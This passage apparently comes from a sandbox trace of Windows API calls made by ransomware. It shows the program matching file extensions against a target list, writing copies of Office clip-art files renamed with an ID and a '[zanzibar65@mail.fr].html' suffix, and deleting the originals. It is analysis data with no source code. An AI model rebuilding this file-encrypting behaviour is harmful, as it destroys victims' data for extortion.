-1 [0273.563] lstrlenW (lpString=".bz2") returned 4 [0273.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.563] lstrlenW (lpString=".7z") returned 3 [0273.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0273.738] lstrlenW (lpString=".dbf") returned 4 [0273.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0273.738] lstrlenW (lpString=".1cd") returned 4 [0273.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0273.738] lstrlenW (lpString=".jpg") returned 4 [0273.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.738] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.738] lstrlenW (lpString="FD02116_.WMF") returned 12 [0273.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0273.739] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=3988) returned 1 [0273.739] CloseHandle (hObject=0x304) returned 1 [0273.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x20 [0273.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0273.739] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.739] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0273.742] GetLastError () returned 0x0 [0273.743] ReadFile (in: hFile=0x304, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0xf94, lpOverlapped=0x0) returned 1 [0273.744] WriteFile (in: hFile=0x3a4, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0273.745] ReadFile (in: hFile=0x304, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.745] WriteFile (in: hFile=0x3a4, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.745] SetEndOfFile (hFile=0x3a4) returned 1 [0273.745] CloseHandle (hObject=0x3a4) returned 1 [0273.745] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.745] SetEndOfFile (hFile=0x304) returned 1 [0273.747] CloseHandle (hObject=0x304) returned 1 [0273.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0273.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0273.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0273.747] lstrlenW (lpString=".doc") returned 4 [0273.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.747] lstrlenW (lpString=".docx") returned 5 [0273.747] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.747] lstrlenW (lpString=".pdf") returned 4 [0273.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.747] lstrlenW (lpString=".xls") returned 4 [0273.747] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.747] lstrlenW (lpString=".xlsx") returned 5 [0273.747] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.748] lstrlenW (lpString=".ppt") returned 4 [0273.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0273.748] lstrlenW (lpString=".zip") returned 4 [0273.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.748] lstrlenW (lpString=".rar") returned 4 [0273.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.748] lstrlenW (lpString=".bz2") returned 4 [0273.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.748] lstrlenW (lpString=".7z") returned 3 [0273.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0273.748] lstrlenW (lpString=".dbf") returned 4 [0273.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0273.748] lstrlenW (lpString=".1cd") returned 4 [0273.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0273.748] lstrlenW (lpString=".jpg") returned 4 [0273.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0273.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0273.748] lstrlenW (lpString=".doc") returned 4 [0273.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.748] lstrlenW (lpString=".docx") returned 5 [0273.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.748] lstrlenW (lpString=".pdf") returned 4 [0273.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.749] lstrlenW (lpString=".xls") returned 4 [0273.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.749] lstrlenW (lpString=".xlsx") returned 5 [0273.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.749] lstrlenW (lpString=".ppt") returned 4 [0273.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0273.749] lstrlenW (lpString=".zip") returned 4 [0273.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.749] lstrlenW (lpString=".rar") returned 4 [0273.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.749] lstrlenW (lpString=".bz2") returned 4 [0273.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.749] lstrlenW (lpString=".7z") returned 3 [0273.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0273.749] lstrlenW (lpString=".dbf") returned 4 [0273.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0273.749] lstrlenW (lpString=".1cd") returned 4 [0273.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0273.749] lstrlenW (lpString=".jpg") returned 4 [0273.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.749] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.749] lstrlenW (lpString="FD02141_.WMF") returned 12 [0273.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0273.750] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=2636) returned 1 [0273.750] CloseHandle (hObject=0x304) returned 1 [0273.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x20 [0273.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0273.751] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.751] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0273.751] GetLastError () returned 0x0 [0273.751] ReadFile (in: hFile=0x304, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0xa4c, lpOverlapped=0x0) returned 1 [0273.753] WriteFile (in: hFile=0x3a4, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0273.754] ReadFile (in: hFile=0x304, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.754] WriteFile (in: hFile=0x3a4, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.754] SetEndOfFile (hFile=0x3a4) returned 1 [0273.754] CloseHandle (hObject=0x3a4) returned 1 [0273.754] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.754] SetEndOfFile (hFile=0x304) returned 1 [0273.756] CloseHandle (hObject=0x304) returned 1 [0273.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0273.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0273.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0273.756] lstrlenW (lpString=".doc") returned 4 [0273.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.756] lstrlenW (lpString=".docx") returned 5 [0273.756] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.756] lstrlenW (lpString=".pdf") returned 4 [0273.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.756] lstrlenW (lpString=".xls") returned 4 [0273.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.756] lstrlenW (lpString=".xlsx") returned 5 [0273.757] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.757] lstrlenW (lpString=".ppt") returned 4 [0273.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0273.757] lstrlenW (lpString=".zip") returned 4 [0273.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.757] lstrlenW (lpString=".rar") returned 4 [0273.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.757] lstrlenW (lpString=".bz2") returned 4 [0273.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.757] lstrlenW (lpString=".7z") returned 3 [0273.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0273.757] lstrlenW (lpString=".dbf") returned 4 [0273.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0273.757] lstrlenW (lpString=".1cd") returned 4 [0273.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0273.757] lstrlenW (lpString=".jpg") returned 4 [0273.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0273.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0273.757] lstrlenW (lpString=".doc") returned 4 [0273.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.757] lstrlenW (lpString=".docx") returned 5 [0273.757] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.757] lstrlenW (lpString=".pdf") returned 4 [0273.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.757] lstrlenW (lpString=".xls") returned 4 [0273.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.757] lstrlenW (lpString=".xlsx") returned 5 [0273.758] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.758] lstrlenW (lpString=".ppt") returned 4 [0273.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0273.758] lstrlenW (lpString=".zip") returned 4 [0273.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.758] lstrlenW (lpString=".rar") returned 4 [0273.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.758] lstrlenW (lpString=".bz2") returned 4 [0273.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.758] lstrlenW (lpString=".7z") returned 3 [0273.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0273.758] lstrlenW (lpString=".dbf") returned 4 [0273.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0273.758] lstrlenW (lpString=".1cd") returned 4 [0273.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0273.758] lstrlenW (lpString=".jpg") returned 4 [0273.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.758] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.758] lstrlenW (lpString="FD02153_.WMF") returned 12 [0273.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0273.759] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=5392) returned 1 [0273.759] CloseHandle (hObject=0x304) returned 1 [0273.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x20 [0273.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0273.759] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.759] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0273.760] GetLastError () returned 0x0 [0273.760] ReadFile (in: hFile=0x304, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x1510, lpOverlapped=0x0) returned 1 [0273.761] WriteFile (in: hFile=0x3a4, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x1520, lpOverlapped=0x0) returned 1 [0273.763] ReadFile (in: hFile=0x304, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.763] WriteFile (in: hFile=0x3a4, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.763] SetEndOfFile (hFile=0x3a4) returned 1 [0273.763] CloseHandle (hObject=0x3a4) returned 1 [0273.763] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.763] SetEndOfFile (hFile=0x304) returned 1 [0273.765] CloseHandle (hObject=0x304) returned 1 [0273.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0273.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0273.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0273.766] lstrlenW (lpString=".doc") returned 4 [0273.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.766] lstrlenW (lpString=".docx") returned 5 [0273.766] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.766] lstrlenW (lpString=".pdf") returned 4 [0273.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.766] lstrlenW (lpString=".xls") returned 4 [0273.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.766] lstrlenW (lpString=".xlsx") returned 5 [0273.766] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.766] lstrlenW (lpString=".ppt") returned 4 [0273.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0273.766] lstrlenW (lpString=".zip") returned 4 [0273.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.766] lstrlenW (lpString=".rar") returned 4 [0273.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.766] lstrlenW (lpString=".bz2") returned 4 [0273.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.766] lstrlenW (lpString=".7z") returned 3 [0273.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0273.766] lstrlenW (lpString=".dbf") returned 4 [0273.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0273.767] lstrlenW (lpString=".1cd") returned 4 [0273.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0273.767] lstrlenW (lpString=".jpg") returned 4 [0273.767] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0273.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0273.767] lstrlenW (lpString=".doc") returned 4 [0273.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.767] lstrlenW (lpString=".docx") returned 5 [0273.767] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.767] lstrlenW (lpString=".pdf") returned 4 [0273.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.767] lstrlenW (lpString=".xls") returned 4 [0273.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.767] lstrlenW (lpString=".xlsx") returned 5 [0273.767] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.767] lstrlenW (lpString=".ppt") returned 4 [0273.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0273.767] lstrlenW (lpString=".zip") returned 4 [0273.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.767] lstrlenW (lpString=".rar") returned 4 [0273.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.767] lstrlenW (lpString=".bz2") returned 4 [0273.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.767] lstrlenW (lpString=".7z") returned 3 [0273.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0273.767] lstrlenW (lpString=".dbf") returned 4 [0273.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0273.767] lstrlenW (lpString=".1cd") returned 4 [0273.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.768] lstrlenW (lpString="C:\\Program 